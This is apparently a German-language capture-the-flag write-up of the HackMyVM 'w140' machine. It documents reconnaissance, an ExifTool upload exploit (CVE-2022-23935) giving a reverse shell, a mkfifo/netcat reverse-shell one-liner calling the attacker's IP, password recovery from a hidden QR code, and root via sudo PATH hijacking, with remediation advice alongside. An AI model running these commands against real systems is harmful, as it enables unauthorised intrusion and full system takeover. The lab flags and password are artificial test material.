w140 - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
curl
nikto
gobuster
ssh
ssh-keyscan
python3 (Exploit/HTTP Server)
nc (netcat)
which
pty (Python module)
export
stty
rm
mkfifo
find
uname
ls
file
pwd
cd
wget
mv
QR Reader (Online/Offline)
su
sudo
cat
echo
chmod
bash
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Prozess beginnt mit einem `arp-scan -l`, um aktive Hosts im lokalen Netzwerk zu finden.

Bewertung: Der Host `192.168.2.116` wird identifiziert. Die MAC-Adresse `08:00:27:ea:a7:de` gehört zu PCS Systemtechnik GmbH, was auf eine VirtualBox-VM hindeutet.

Empfehlung (Pentester): Führen Sie einen detaillierten Nmap-Scan auf `192.168.2.116` durch.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.114
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1       00:50:56:c0:00:08       VMware, Inc.
192.168.2.116     08:00:27:ea:a7:de       PCS Systemtechnik GmbH
192.168.2.254     00:50:56:f8:46:8c       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.861 seconds (137.56 hosts/sec). 3 responded
                    

Analyse: Ein Nmap-Scan wird auf `192.168.2.116` durchgeführt. Optionen: `-sS` (SYN Scan), `-sC` (Default Scripts), `-T5` (Insane Timing), `-A` (OS/Version/Script/Trace), `-p-` (Alle Ports).

Bewertung: Nmap findet zwei offene Ports: * **Port 22/tcp:** SSH (OpenSSH 8.4p1 Debian). * **Port 80/tcp:** HTTP (Apache httpd 2.4.54 Debian). Der Titel der Seite ist "w140". Die OS-Erkennung deutet auf Linux hin und bestätigt VirtualBox.

Empfehlung (Pentester): Der Webserver auf Port 80 ist der primäre Angriffsvektor. Untersuchen Sie die Webseite `http://192.168.2.116/`.
Empfehlung (Admin): Sichern Sie SSH und Apache. Halten Sie Dienste aktuell (Apache ist hier aktuell).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 14:52 CEST
Nmap scan report for w140 (192.168.2.116)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 fffdb20f38881a44c42b642cd297f68d (RSA)
|   256 ca5054f7244ea7f10646e72230ec95b7 (ECDSA)
|_  256 0968c062831ef15dcb29a65eb472aacf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: w140
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:EA:A7:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms w140 (192.168.2.116)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.94 seconds
                    

Web Enumeration

Analyse: Eine HEAD-Anfrage mit `curl -Iv` wird an die IP gesendet, um die HTTP-Header zu überprüfen.

Bewertung: Bestätigt Apache/2.4.54, HTML-Inhalt und einen ETag. Keine neuen Erkenntnisse.

┌──(root㉿cyber)-[~] └─# curl -Iv 192.168.2.116
*   Trying 192.168.2.116:80...
* Connected to 192.168.2.116 (192.168.2.116) port 80 (#0)
> HEAD / HTTP/1.1
> Host: 192.168.2.116
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 04 Apr 2023 12:53:23 GMT
< Server: Apache/2.4.54 (Debian)
< Last-Modified: Mon, 06 Feb 2023 17:43:02 GMT
< ETag: "33b3-5f40b900ad580"
< Accept-Ranges: bytes
< Content-Length: 13235
< Vary: Accept-Encoding
< Content-Type: text/html
<
* Connection #0 to host 192.168.2.116 left intact
                    

Analyse: `nikto` wird verwendet, um den Webserver auf bekannte Schwachstellen und interessante Dateien/Verzeichnisse zu scannen.

Bewertung: Nikto bestätigt Apache/2.4.54. Es meldet fehlende Security Header und das mögliche ETag-Inode-Leak. Es findet Verzeichnisse mit Directory Indexing (`/css/`, `/manual/images/`) und das Apache-Handbuch (`/manual/`). Keine kritischen Funde.

Empfehlung (Pentester): Führen Sie Directory/File Busting durch, um anwendungsspezifische Inhalte zu finden.
Empfehlung (Admin): Implementieren Sie fehlende Security Header. Deaktivieren Sie Directory Indexing und entfernen Sie das Apache-Handbuch.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.116
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        80
+ Start Time:         2023-04-04 14:53:45 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 33b3, size: 5f40b900ad580, mtime: gzip
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ 7915 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2023-04-04 14:55:21 (GMT2) (96 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche verwendet.

Bewertung: Neben Standardverzeichnissen (`/assets`, `/css`, `/js`, `/manual`) wird die Datei `/upload.php` gefunden. Dies ist, wie im vorherigen Beispiel, ein **sehr wichtiger Fund**, da er auf eine Upload-Funktionalität hindeutet.

Empfehlung (Pentester): Untersuchen Sie `/upload.php`. Testen Sie, welche Dateitypen erlaubt sind, wo Dateien gespeichert werden und ob sie ausgeführt werden können. Prüfen Sie auf bekannte Schwachstellen in Upload-Skripten oder den dahinterliegenden Bibliotheken (z.B. ImageMagick, ExifTool).
Empfehlung (Admin): Sichern Sie die Upload-Funktion rigoros ab (Dateitypprüfung serverseitig, Umbenennung, Speicherung außerhalb des Web-Roots, Malware-Scan).

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.116 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e -t 100 -n -k
===============================================================
Gobuster v3.5
# ... (options) ...
===============================================================
Starting gobuster
===============================================================
http://192.168.2.116/index.html           (Status: 200) [Size: 13235]
http://192.168.2.116/assets               (Status: 301) [Size: 315] [--> http://192.168.2.116/assets/]
http://192.168.2.116/upload.php           (Status: 200) [Size: 3773] # Wichtig!
http://192.168.2.116/service.html         (Status: 200) [Size: 3417]
http://192.168.2.116/css                  (Status: 301) [Size: 312] [--> http://192.168.2.116/css/]
http://192.168.2.116/manual               (Status: 301) [Size: 315] [--> http://192.168.2.116/manual/]
http://192.168.2.116/js                   (Status: 301) [Size: 311] [--> http://192.168.2.116/js/]
===============================================================
Finished
===============================================================
                     

Analyse: Die Seite `/upload.php` wird aufgerufen. Sie präsentiert sich als "Image Forensics"-Tool und meldet nach einem (impliziten) Upload-Versuch "Error: Invalid File Type!".

Bewertung: Bestätigt die Funktion als Bild-Upload und eine serverseitige Prüfung des Dateityps. Der Name "eForenzics" und die Funktion (Bildforensik) legen nahe, dass Backend-Tools wie `exiftool` oder ähnliche Bibliotheken verwendet werden könnten, die möglicherweise Schwachstellen aufweisen.

Empfehlung (Pentester): Recherchieren Sie nach bekannten RCE-Schwachstellen in Bildverarbeitungsbibliotheken, insbesondere `exiftool`. Versuchen Sie, eine speziell präparierte Bilddatei hochzuladen, um eine solche Schwachstelle (z.B. CVE-2022-23935) auszunutzen.

# Analyse von http://192.168.2.116/upload.php

# Webseiten-Inhalt (vereinfacht):
eForenzics
 Home | About | Pricing | Reviews
 Image Forensics
 Upload an image file and we will provide a detailed forensic analysis
 [Upload Button]
 Error: Invalid File Type! # (Nach fehlgeschlagenem Upload)
 Copyright 2023 © eForenzics
                     

Initial Access (RCE via CVE-2022-23935)

Analyse: Nach fehlgeschlagenen SSH-Login-Versuchen und Abrufen der Host-Keys (die keine neuen Erkenntnisse brachten), wird ein Python-Exploit-Skript (`CVE-2022-23935.py`) verwendet. Dieses Skript zielt auf eine bekannte RCE-Schwachstelle ab, die oft in Verbindung mit `exiftool` oder ähnlichen Bibliotheken steht, die über Web-Uploads getriggert werden können. Das Skript erhält die Angreifer-IP (`192.168.2.114` - *Inkonsistenz zur Ziel-IP 116 und Angreifer-IP 114 im Text*) und einen Port (`9001`) als Argumente.

Bewertung: Das Exploit-Skript ist erfolgreich! Es meldet "[+] Connected!!!!" und "[+] Waiting for connections ... Got connection ...". Der Pentester erhält eine Reverse Shell als Benutzer `www-data`. Der Pfad der Shell (`/var/www/uploads/[timestamp]`) deutet darauf hin, dass der Exploit tatsächlich über die Upload-Funktion lief.

Empfehlung (Pentester): Stabilisieren Sie die Reverse Shell. Führen Sie lokale Enumeration als `www-data` durch.
Empfehlung (Admin): **Höchste Priorität:** Patchen Sie die zugrundeliegende Schwachstelle (CVE-2022-23935), wahrscheinlich durch Update der Bildverarbeitungsbibliothek (z.B. ExifTool). Überprüfen Sie die Upload-Funktion generell auf Sicherheit.

┌──(root㉿cyber)-[~] └─# ssh w140@w140.net -p 22
The authenticity of host 'w140.net (192.168.2.116)' can't be established.
# ...
w140@w140.net's password:
Permission denied, please try again.
# ...
w140@w140.net: Permission denied (publickey,password).
                      
┌──(root㉿cyber)-[~] └─# ssh-keyscan 192.168.2.116
# ... (Host Key Ausgabe) ...
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# python3 CVE-2022-23935.py 192.168.2.114 9001
[+] Connected!!!!

   _____ __      __ ______      ___    ___  ___   ___        ___   ____    ___  ____   _____
  / ____|\ \    / /|  ____|    |__ \  / _ \|__ \ |__ \      |__ \ |___ \  / _ \|___ \ | ____|
 | |      \ \  / / | |__  ______  ) || | | |  ) |   ) |______  ) |  __) || (_) | __) || |__
 | |       \ \/ /  |  __||______|/ / | | | | / /   / /|______|/ /  |__ <  \__, ||__ < |___ \
 | |____    \  /   | |____      / /_ | |_| |/ /_  / /_       / /_  ___) |   / / ___) | ___) |
  \_____|    \/    |______|    |____| \___/|____||____|     |____||____/   /_/ |____/ |____/

                                            by 0xFTW

[+] Trying to bind to :: on port 9001: Done
[+] Waiting for connections on :::9001: Got connection from ::ffff:192.168.2.116 on port 54378
[*] Switching to interactive mode
bash: cannot set terminal process group (505): Inappropriate ioctl for device
bash: no job control in this shell
                      
www-data@w140:/var/www/uploads/1680616771$ $

Analyse: Die erhaltene Reverse Shell wird mit den Standardmethoden stabilisiert (`python3 -c 'import pty...'`, `export TERM=xterm`, `reset`, `stty raw -echo; fg`). Ein Versuch, eine zweite Reverse Shell mit `mkfifo` zu starten, wird ebenfalls gezeigt.

Bewertung: Die erste Shell wird erfolgreich stabilisiert. Der zweite Reverse-Shell-Versuch ist redundant, funktioniert aber ebenfalls.

www-data@w140:/var/www/uploads/1680616771$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@w140:/var/www/uploads/1680616771$ export TERM=xterm
www-data@w140:/var/www/uploads/1680616771$ reset
www-data@w140:/var/www/uploads/1680617173$
www-data@w140:/var/www/uploads/1680617173$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.114 9002 >/tmp/f
┌──(root㉿cyber)-[~/Hackingtools/CVE-2022-23935] └─# nc -lvnp 9002
listening on [any] 9002 ...
connect to [192.168.2.114] from (UNKNOWN) [192.168.2.116] 50886
/bin/sh: 0: can't access tty; job control turned off
$
                     

Privilege Escalation (www-data -> ghost via QR Code)

Analyse: Als `www-data` werden SUID-Dateien und die Kernel-Version enumeriert. Anschließend wird nach einer verdächtigen Datei `.w140.png` gesucht, diese gefunden, per Python HTTP-Server bereitgestellt und auf die Angreifer-Maschine heruntergeladen.

Bewertung: Die SUID- und Kernel-Enumeration liefert keine direkten Hinweise. Der entscheidende Fund ist die versteckte PNG-Datei `/var/www/.w140.png`. Das Bereitstellen über einen Python HTTP-Server ist eine gängige Methode, um Dateien vom Ziel zum Angreifer zu übertragen.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene PNG-Datei `.w140.png` (lokal umbenannt in `benni.png`) auf versteckte Informationen (Metadaten, Steganographie, visuelle Hinweise wie QR-Codes).

www-data@w140:/var$ find / -type f -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
                      
www-data@w140:/var$ uname -a
Linux w140 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 GNU/Linux
www-data@w140:/var/www/uploads/1680615942$ find / -name .w140.png 2>/dev/null
/var/www/.w140.png
www-data@w140:/var/www/uploads/1680615942$ cd /var/www
www-data@w140:/var/www$ python3 -m http.server 8005
Serving HTTP on 0.0.0.0 port 8005 (http://0.0.0.0:8005/) ...
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.116:8005/.w140.png
# ... (wget download output) ...
┌──(root㉿cyber)-[~] └─# mv .w140.png benni.png

Analyse: Die heruntergeladene PNG-Datei wird mit einem Online QR-Code-Reader (qreader.online) analysiert. Das Ergebnis ist der String `BaoeCblP5KGJDmA`. Anschließend wird versucht, mit `su ghost` und diesem String als Passwort den Benutzer zu wechseln.

Bewertung: Die Analyse des QR-Codes liefert das Passwort für den Benutzer `ghost`. Der `su`-Befehl ist erfolgreich, und der Angreifer erlangt eine Shell als `ghost`.

Empfehlung (Pentester): Untersuchen Sie die Rechte des Benutzers `ghost` (insbesondere `sudo -l`). Suchen Sie die User-Flag.
Empfehlung (Admin): Speichern Sie keine Passwörter in QR-Codes in versteckten Dateien. Verwenden Sie starke Passwörter.

# Analyse der Datei benni.png (lokal) mit https://qreader.online/
# Ergebnis des QR-Codes:
BaoeCblP5KGJDmA
                     
www-data@w140:/var/www$ su ghost
Password: BaoeCblP5KGJDmA
ghost@w140:/var/www$

Privilege Escalation (ghost -> root via PATH Hijacking)

Analyse: Als Benutzer `ghost` werden die `sudo`-Rechte geprüft. Anschließend wird eine SSH-Verbindung als `ghost` aufgebaut (bestätigt das Passwort), das Home-Verzeichnis untersucht und die User-Flag gelesen. Schließlich wird das Skript `/opt/Benz-w140`, das per `sudo` ausgeführt werden darf, analysiert.

Bewertung: * `sudo -l`: Enthüllt die kritische Regel: `(root) SETENV: NOPASSWD: /opt/Benz-w140`. `ghost` kann das Skript als `root` ohne Passwort ausführen und Umgebungsvariablen setzen (`SETENV`). * SSH-Login & User-Flag: Bestätigt den Zugang als `ghost` und liefert die User-Flag `61f1157a5b8f5a4b6729367098fcb2a4`. * `cat /opt/Benz-w140`: Zeigt, dass das Skript relative Pfade für Befehle wie `cat`, `truncate` und **`find`** verwendet. Die Kombination aus `SETENV`, `NOPASSWD` und der Verwendung von relativen Pfaden im `sudo`-Skript ermöglicht PATH-Hijacking.

Empfehlung (Pentester): Führen Sie PATH-Hijacking durch: 1. Erstellen Sie in `/tmp` eine ausführbare Datei namens `find`, die `/bin/bash` enthält. 2. Führen Sie das `sudo`-Kommando aus, aber setzen Sie die `PATH`-Variable so, dass `/tmp` zuerst durchsucht wird: `sudo PATH=/tmp:$PATH /opt/Benz-w140`.
Empfehlung (Admin): **Höchste Priorität:** Korrigieren Sie die `sudo`-Regel. Entfernen Sie `SETENV` und `NOPASSWD`, wenn nicht absolut zwingend notwendig und sicher implementiert. Korrigieren Sie das Skript `/opt/Benz-w140`, indem Sie absolute Pfade für alle Befehle verwenden (z.B. `/usr/bin/find` statt `find`).

ghost@w140:/var/www$ sudo -l
Matching Defaults entries for ghost on w140:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ghost may run the following commands on w140:
    (root) SETENV: NOPASSWD: /opt/Benz-w140
                     
ghost@w140:/var/www$ ssh ghost@192.168.2.116
The authenticity of host '192.168.2.116 (192.168.2.116)' can't be established.
# ... (Key Fingerprint) ...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.116' (ECDSA) to the list of known hosts.
Password: BaoeCblP5KGJDmA
Last login: Tue Feb 21 13:18:19 2023 from 192.168.56.46
                      
ghost@w140:~$ ls -la
total 32
drwxr-xr-x 4 ghost ghost 4096 Apr  4 10:37 .
drwxr-xr-x 3 root  root  4096 Jan 29 14:51 ..
lrwxrwxrwx 1 root  root     9 Feb  8 14:18 .bash_history -> /dev/null
-rw-r--r-- 1 ghost ghost  220 Jan 29 14:51 .bash_logout
-rw-r--r-- 1 ghost ghost 3526 Jan 29 14:51 .bashrc
drwxr-xr-x 3 ghost ghost 4096 Feb 14 14:14 .local
-rw-r--r-- 1 ghost ghost  807 Jan 29 14:51 .profile
drwx------ 2 ghost ghost 4096 Apr  4 10:37 .ssh
-rw------- 1 ghost ghost   33 Feb 21 13:01 user.txt
                       
ghost@w140:~$ cat user.txt
61f1157a5b8f5a4b6729367098fcb2a4
ghost@w140:~$ file /opt/Benz-w140
/opt/Benz-w140: ASCII text
ghost@w140:~$ cat /opt/Benz-w140
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140

# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \; # Relative path for 'find'!
                        

Proof of Concept (PATH Hijacking)

Kurzbeschreibung: Dieser Proof of Concept nutzt die unsichere `sudo`-Regel für `/opt/Benz-w140` aus, die `SETENV` erlaubt und ein Skript mit relativen Pfaden (insbesondere `find`) aufruft. Durch Manipulation der `PATH`-Umgebungsvariable wird `sudo` dazu gebracht, ein bösartiges `find`-Skript des Angreifers anstelle des System-`find` auszuführen, was zur Ausführung von Code als `root` führt.

Voraussetzungen: * Zugriff als Benutzer `ghost`. * Die `sudo`-Regel `(root) SETENV: NOPASSWD: /opt/Benz-w140` muss aktiv sein. * Das Skript `/opt/Benz-w140` muss einen Befehl (hier `find`) mit relativem Pfad aufrufen. * Schreibrechte in einem Verzeichnis, das im `PATH` vor `/usr/bin` platziert werden kann (z.B. `/tmp`).

Schritte zur Ausnutzung: 1. **Bösartiges Skript erstellen:** In einem beschreibbaren Verzeichnis (`/tmp`) wird eine Datei namens `find` erstellt, die lediglich `/bin/bash` enthält. Diese Datei wird ausführbar gemacht (`chmod +x find`). 2. **Exploit ausführen:** Der `sudo`-Befehl wird ausgeführt, aber die `PATH`-Variable wird manipuliert, sodass `/tmp` an erster Stelle steht (`PATH=/tmp:$PATH`). Wenn das Skript `/opt/Benz-w140` nun `find` aufruft, findet die Shell das bösartige Skript `/tmp/find` zuerst und führt es als `root` aus. 3. **Root-Shell erhalten:** Das Skript `/tmp/find` führt `/bin/bash` aus, was dem Angreifer eine Root-Shell gibt.

Bewertung: Der Exploit ist erfolgreich. Die Manipulation der `PATH`-Variable in Verbindung mit der `SETENV`-Option in `sudo` und dem relativen Pfad im Skript ermöglicht die Ausführung des bösartigen `/tmp/find`-Skripts als `root`. Der Prompt wechselt zu `root@w140:/tmp#`. Fantastisch, Root-Zugriff erreicht!

Empfehlung (Pentester): Root-Zugriff erlangt. Bestätigen Sie mit `id`. Suchen und lesen Sie die Root-Flag.
Empfehlung (Admin): **Höchste Priorität:** Korrigieren Sie die `sudo`-Regel (entfernen Sie `SETENV`, `NOPASSWD` und `*`, wenn möglich). Verwenden Sie absolute Pfade in allen Skripten, die über `sudo` oder als `root` ausgeführt werden.

Risikobewertung: Die Kombination aus einem unsicheren File-Upload (RCE), einem versteckten QR-Code mit Passwort und einer unsicheren `sudo`-Konfiguration ermöglichte die vollständige Systemübernahme. Das Risiko ist **kritisch**.

ghost@w140:~$ cd /tmp/
ghost@w140:/tmp$ echo '/bin/bash' > find
ghost@w140:/tmp$ chmod +x find
ghost@w140:/tmp$ ls -la
total 12
drwxrwxrwt  9 root  root  4096 Apr  4 10:43 .
drwxr-xr-x 18 root  root  4096 Jan 29 14:49 ..
-rwxrwxrwx  1 ghost ghost   10 Apr  4 10:43 find # Bösartiges Skript
drwxrwxrwt  2 root  root  4096 Apr  4 08:23 .font-unix
# ... (weitere tmp Dateien) ...
                      
ghost@w140:/tmp$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ghost@w140:/tmp$ sudo PATH=/tmp:$PATH /opt/Benz-w140
root@w140:/tmp#
root@w140:/tmp# cd ~
root@w140:~# ls
root.txt
root@w140:~# cat root.txt
2f9f7d1b4a6ae9d6bbbaf6298c5dcc25

Flags

Analyse: Die User-Flag wurde im Home-Verzeichnis von `ghost` gefunden. Die Root-Flag wurde im Home-Verzeichnis von `root` gefunden, nachdem Root-Rechte erlangt wurden.

Bewertung: Beide Flags wurden erfolgreich extrahiert.

cat /home/ghost/user.txt
61f1157a5b8f5a4b6729367098fcb2a4
cat /root/root.txt
2f9f7d1b4a6ae9d6bbbaf6298c5dcc25